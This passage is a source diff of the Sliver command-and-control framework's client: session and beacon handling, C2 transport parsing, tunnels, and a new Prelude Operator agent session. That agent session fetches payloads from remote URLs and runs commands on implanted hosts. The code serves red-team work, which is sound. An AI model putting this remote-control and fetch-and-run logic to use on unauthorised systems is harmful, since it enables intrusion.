return sessionsMap[keys[index]], nil
return sessionsMap[uint32(keys[index])], nil
}
}
return nil, ErrNoSelection
+2 -58
View File
@@ -20,7 +20,6 @@ package sessions
import (
"context"
"net/url"
"time"
"github.com/bishopfox/sliver/client/command/generate"
@@ -43,7 +42,6 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
// Parse C2 Flags
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
@@ -88,63 +86,9 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
c2s = append(c2s, tcpPivotC2...)
// No flags, parse the current beacon's ActiveC2 instead
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
c2url, err := url.Parse(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
switch c2url.Scheme {
case "mtls":
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, mtlsC2...)
case "wg":
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, httpC2...)
case "dns":
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, dnsC2...)
case "namedpipe":
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, namedPipeC2...)
case "tcppivot":
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, tcpPivotC2...)
default:
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
return
}
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return
}
openSession := &sliverpb.OpenSession{
+2 -2
View File
@@ -40,8 +40,8 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, ctx, con)
con.Printf("Pruning session #%d ...", session.ID)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
@@ -1,8 +1,8 @@
package reconfig
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,16 +21,18 @@ package reconfig
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -44,23 +46,24 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
con.ActiveTarget.Set(session, nil)
}
+32 -72
View File
@@ -21,7 +21,6 @@ package sessions
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
@@ -31,7 +30,6 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -51,12 +49,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
return
}
@@ -65,12 +63,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
}
return
@@ -81,7 +79,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -92,12 +90,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.GetSession(interact)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
@@ -110,41 +108,19 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
for _, session := range sessions {
@@ -162,37 +138,21 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
con.Printf("%s\n", tw.Render())
}
// ShortSessionID - Shorten the session ID
func ShortSessionID(id string) string {
return strings.Split(id, "-")[0]
}
-48
View File
@@ -19,8 +19,6 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -45,55 +43,9 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow || con.Settings.AlwaysOverflow {
if !overflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := term.GetSize(0)
width, height, err := terminal.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
-31
View File
@@ -358,14 +358,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintLs(ls, flags, "", con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
err := proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
err := proto.Unmarshal(task.Response, mkdir)
@@ -454,14 +446,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgCurrentTokenOwnerReq:
cto := &sliverpb.CurrentTokenOwner{}
err := proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
@@ -575,21 +559,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
case sliverpb.MsgRegistryDeleteKeyReq:
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(task.Request, deleteKeyReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
deleteKey := &sliverpb.RegistryDeleteKey{}
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
case sliverpb.MsgRegistryListValuesReq:
listValuesReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(task.Request, listValuesReq)
+1 -1
View File
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
+16 -16
View File
@@ -24,6 +24,7 @@ import (
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
@@ -55,7 +56,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
@@ -68,9 +69,10 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if strings.HasPrefix(session.ID, id) {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
@@ -94,15 +96,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
if err != nil {
return nil, nil, err
}
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []string
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, session.ID)
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Strings(sessionKeys)
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
@@ -120,7 +122,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
@@ -128,10 +130,9 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"SESSION",
strings.Split(session.ID, "-")[0],
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
@@ -141,8 +142,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"BEACON",
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
@@ -167,7 +167,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[sessionKeys[index]], nil, nil
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
@@ -182,9 +182,9 @@ func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.Sliv
return
}
for _, s := range sessions.Sessions {
sid := s.ID
sid := fmt.Sprintf("%d", s.ID)
if strings.HasPrefix(sid, prefix) {
results = append(results, s.ID)
results = append(results, fmt.Sprintf("%d", s.ID))
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+18 -31
View File
@@ -31,7 +31,6 @@ import (
"strconv"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
@@ -42,10 +41,13 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/protobuf/proto"
"time"
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"google.golang.org/protobuf/proto"
)
const (
@@ -165,8 +167,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
}
case consts.WatchtowerEvent:
@@ -174,8 +175,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
}
case consts.JoinedEvent:
@@ -190,13 +190,12 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
@@ -205,23 +204,21 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
case consts.SessionClosedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
@@ -233,19 +230,9 @@ func (con *SliverConsoleClient) EventLoop() {
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
@@ -309,7 +296,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and when the server got the result
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
@@ -420,7 +407,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
return nil
}
for _, session := range sessions.GetSessions() {
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
return session
}
}
-3
View File
@@ -167,7 +167,6 @@ const (
ExecuteStr = "execute"
LsStr = "ls"
MvStr = "mv"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
@@ -212,7 +211,6 @@ const (
RegistryListSubStr = "list-subkeys"
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
RegistryDeleteKeyStr = "delete"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
@@ -221,7 +219,6 @@ const (
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
+2 -2
View File
@@ -29,7 +29,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
SessionID uint32
BindAddr string
RemoteAddr string
}
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
+1 -1
View File
@@ -47,7 +47,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
SessionID string
SessionID uint32
BindAddr string
Username string
Password string
+2 -2
View File
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
SessionID uint32
Send chan []byte
Recv chan []byte
+4 -4
View File
@@ -32,11 +32,11 @@ import (
func init() {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
insecureRand.Seed(int64(time.Now().Unix()))
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
seed := uint64(time.Now().Unix())
if err == nil {
binary.LittleEndian.PutUint64(buf, uint64(seed))
}
insecureRand.Seed(int64(seed))
}
func main() {
+166
View File
@@ -0,0 +1,166 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+12 -37
